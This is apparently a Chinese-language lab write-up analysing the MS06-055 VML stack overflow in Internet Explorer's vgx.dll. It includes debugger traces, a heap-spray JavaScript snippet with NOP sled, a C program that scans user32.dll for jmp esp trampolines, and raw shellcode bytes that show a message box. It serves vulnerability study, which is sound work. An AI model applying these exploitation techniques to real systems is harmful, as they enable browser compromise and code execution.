MS06-055(CVE-2006-4868)漏洞分析

1.VML

MS06-055指的是IE在解析VML标记语言时存在基于栈的缓冲区溢出漏洞。

 

矢量标记语言(VML,VectorMarkup Language):IE从5.0开始在HTML中支持这种语言。在Web应用中如果需要绘制的图形较简单,就可用VML,用文本方式告诉客户端一些关键的绘图坐标,浏览器按照VML语言格式解析这些坐标之后就能绘制出精确的图形。

如:



failwest









这个HTML显示的效果为:

MS06-055(CVE-2006-4868)漏洞分析_第1张图片

2.MS06-055

MS06-055漏洞位于IE的核心组件vgx.dll中,该文件在C:\Program Files\CommonFiles\Microsoft Shared\VGX\目录下,存在漏洞的函数是SHADETYPE_TEXT::Text(ushortconst *,int),该函数中会把前面HTML中的中method属性的值这个字符串在未经长度限制的情况下复制到栈中,详情:https://technet.microsoft.com/zh-cn/library/security/ms06-055.aspx

3.实验环境

Windows 2000 SP4虚拟机

vgx.dll版本:5.0.3014.1003

文件大小:1753160字节

4.工具

IDA Pro、OllyDbg:配置好IDA和OllyDbg的符号文件地址(关于调试器的符号设置:http://www.360doc.com/content/15/0705/16/12129652_482800639.shtml)后,可用OllyDbg附加到IE上,同时用IDA打开vgx.dll,两者结合分析。OllyDbg动态调试程序,可查看寄存器、栈、内存等实时数据,查看输入的数据流向;IDA有强大的静态反汇编功能,且能通过F5查看函数的C语言形式伪代码,两者结合分析,更容易弄清楚函数的参数、功能等信息。

5.漏洞分析

这个版本的vgx.dll漏洞函数SHADETYPE_TEXT::Text的VA为0x659D7B46。

5.1 vgx._SHADETYPE_TEXT::Text

IDA反汇编与相应伪码:

MS06-055(CVE-2006-4868)漏洞分析_第2张图片

IDA中的伪代码:

MS06-055(CVE-2006-4868)漏洞分析_第3张图片

OllyDbg中的_IE5_SHADETYPE_TEXT::Text:

MS06-055(CVE-2006-4868)漏洞分析_第4张图片

(然而在IDA中跟入后,伪码显示又没有参数,毕竟是伪码,不可全信…)

没有向前跟踪,根据其中的没写注释那几条指令:

mov ecx, dword ptr [ebp+0c]
test ecx, ecx
…
mov dword ptr [ebp-20c], ecx

以及传入的字符串为”1234”,该值又为4来看,该函数第二个参数为传入的字符串长度(Unicode字符数)。

 

此时栈顶附近为:


5.2 vgx._IE5_SHADETYPE_TEXT::TOKENS::Ptok函数:

MS06-055(CVE-2006-4868)漏洞分析_第5张图片

0x659D7B08-0x659D7B31即为拷贝字符串的代码块,由最后几句汇编可知,拷贝的字符串长度以_IE5_SHADETYPE_TEXT::Text的第二个参数(即统计的字符串长度为限制)。而没有以该函数申请的栈空间(sub esp,210)为限制。

5.3 传入长字符串覆盖返回地址,劫持进程

测试该函数第二个参数是否始终等于传入的字符串长度:

拷贝的字符串目的地址为0x0006923C

_IE5_SHADETYPE_TEXT::Text的EBP为0x00069440,则返回地址为0x00069444

覆盖返回地址需要0x20C个字节,则在网页文件中用一个0x106字节的普通ASCII码形式的字符串,就能在程序中产生0x20C字节的Unicode字符串,就能覆盖返回地址。

先在OD中按F9让程序自己运行,用Python生产该字符串:


然后将文件中的字符串填入中,保存html文件并刷新IE:

OD中断程序在_IE5_SHADETYPE_TEXT::Text处,当再次运行到有漏洞的子函数_IE5_SHADETYPE_TEXT::TOKENS::PtoK时:

MS06-055(CVE-2006-4868)漏洞分析_第6张图片

字符串长度没被处理,

MS06-055(CVE-2006-4868)漏洞分析_第7张图片

寄存器也和刚才一样,在函数_IE5_SHADETYPE_TEXT::Text的返回处设断点,F9运行:

MS06-055(CVE-2006-4868)漏洞分析_第8张图片

此时返回地址0x00069444已被Unicode形式的’A’字符串覆盖,F8运行,跳转到了0x00410041:


这里程序还能运行,但是逻辑已经乱了。继续跟踪会发现后来调用了异常处理函数等,最后弹出错误框。


6.Heap Spray

6.1 Heap Spray简介:

“针对浏览器的攻击中,常常会结合使用堆和栈协同利用的漏洞。…页面中的JavaScript可以申请堆内存,因此,把shellcode通过JavaScript布置在堆中成为可能。”

“在使用Heap Spray的时候,一般会将EIP指向堆区的0x0C0C0C0C位置。用JavaScript申请大量内存,并用包含着0x90和shellcode的’内存片‘覆盖这些内存。”

“通常JavaScript会从内存地址向高址分配内存,因此申请的内存超过200MB(200MB=200*1024*1024=0x0C800000>0x0C0C0C0C)后,0x0C0C0C0C将被含有shellcodede内存片覆盖。只要内存片中的0x90能够命中0x0C0C0C0C,shellcode最终就能得到执行。

申请内存片的JavaScript:

	var nop=unescape(“%u9090%u9090”); /*“该函数的工作原理是这样的:通过找到形式为 %xx 和 %uxxxx 的字符序列(x 表示十六进制的数字),用 Unicode 字符 \u00xx 和 \uxxxx 替换这样的字符序列进行解码。”*/

 	while(nop.length<=0x100000/2) //产生1MB大小充满0x90的数据块
	{
		nop+=nop;
	}
	nop=nop.substring(0,0x100000/2-32/2-4/2-shellcode.length-2/2); //ubstring() 方法用于提取字符串中介于两个指定下标之间的字符。
	var slide=new Array();
	for(var i=0;i<200; i++) //200个1MB的数据块
	{
		slide[i]=nop+shellcode;
	}

JavaScript会为申请到的内存填上一些额外的信息(保存堆块信息的32字节malloc header,表示字符串长度的4字节sting length),为了保证一个内存片恰好1M(2的20次方字节),即512KB个Unicode字符,因此先用substring函数在nop数据块中减去malloc header需占用32/2个Unicode数、stringlength占用的4/2个Unicode字符数、shellcode占用的Unicode字符数shellcode.length(因为后面shellcode会被写成Unicode的形式,所以这里不用除以2)、2/2个Unicode结束符。

“为什么1MB作为内存片单位?在HeapSpray时,内存片相对于shellcode和额外的内存信息来说应该足够大”,这样更可能是0x90位于0x0C0C0C0C地址处。否则进程被劫持跳转过来时可能位于某些重要数据(如shellcode)中,使漏洞利用失败。


6.2 exploit

然后构造书上的exploit.html:

书上method后面填的ఌ…ఌ,根据对反汇编代码的分析,进入vgx._IE5_SHADETYPE_TEXT::TOKENS::Ptok后并没有保存EBP建立新的栈帧,且目标缓冲区在vgx._IE5_SHADETYPE_TEXT::TOKENS::Ptok的返回地址的高地址处,所以应该覆盖_IE5_SHADETYPE_TEXT::Text的返回地址以劫持进程,需要0x20c个字节才能覆盖返回地址,,因此method后面填充的字符串为0x106个ఌ,这样刚好覆盖返回地址。

exploit.html:



failwest





 //这里要填0x106个ఌ 


运行exploit.html:

MS06-055(CVE-2006-4868)漏洞分析_第9张图片

可见,漏洞成功利用。

7.栈中的shellcode——另一种利用方式

换一种利用方式,把shellcode放在栈中,由于位于比返回地址低的地址的缓冲区可能被修改,把需要运行的shellcode放在返回地址的高地址处,利用jmp esp指令作为跳板,用书上之前栈溢出用的搜索跳板的程序:

#include
#include
#define DLL_NAME "user32.dll"

int main()
{
	BYTE *ptr;
	int position, address;
	HINSTANCE handle;
	BOOL done_flag = FALSE;
	handle = LoadLibraryA(DLL_NAME);
	if (!handle)
	{
		printf(" load dll erro !");
			exit(0);
	}
	ptr = (BYTE *)handle;

	for (position = 0; !done_flag; position++)
	{
		try
		{
			if (ptr[position] == 0xFF && ptr[position + 1] == 0xE4)
			{
				//0xFFE4 is the opcode of jmp esp
				address = (int)ptr + position;
				printf("OPCODE found at 0x%x\n", address);
			}
		}
		catch (...)
		{
			int address = (int)ptr + position;
			printf("END OF 0x%x\n", address); 
			done_flag = TRUE;
		}
	}
	return 0;
}

(或者用OD1中的插件OllyUni.dll。)搜索结果:



就用0x77df4c29这个地址。将下面这段加在字符串末尾作为shellcode,

MS06-055(CVE-2006-4868)漏洞分析_第10张图片

其中MessageBoxA和ExitProcess的地址通过VC++6.0的Dependency Walker工具查到。

若要把上面的shellcode转换成�…这种格式,可用书上的C语言代码,或下面这段Python代码:

shellcode=	"\x33\xDB\x53\x68\x36\x20\x20\x20\x68\x30\x78\x33\x45\x8B\xC4\x53\x50\x50\x53\xB8\x98\x80\xE1\x77\xFF\xD0\x53\xB8\x1A\xE0\xE6\x77\xFF\xD0"
us=''
n=0
print len(shellcode)
while(n

由于_IE5_SHADETYPE_TEXT::Text的返回地址为retn 8(__stdcall调用约定):


所以传入的字符串中,返回地址与shellcode之间,再填入8个字节的\x90。所以最终的传入字符串结构为:

MS06-055(CVE-2006-4868)漏洞分析_第11张图片

填入到exploit.html的中,运行:

MS06-055(CVE-2006-4868)漏洞分析_第12张图片


你可能感兴趣的:(漏洞分析,Windows)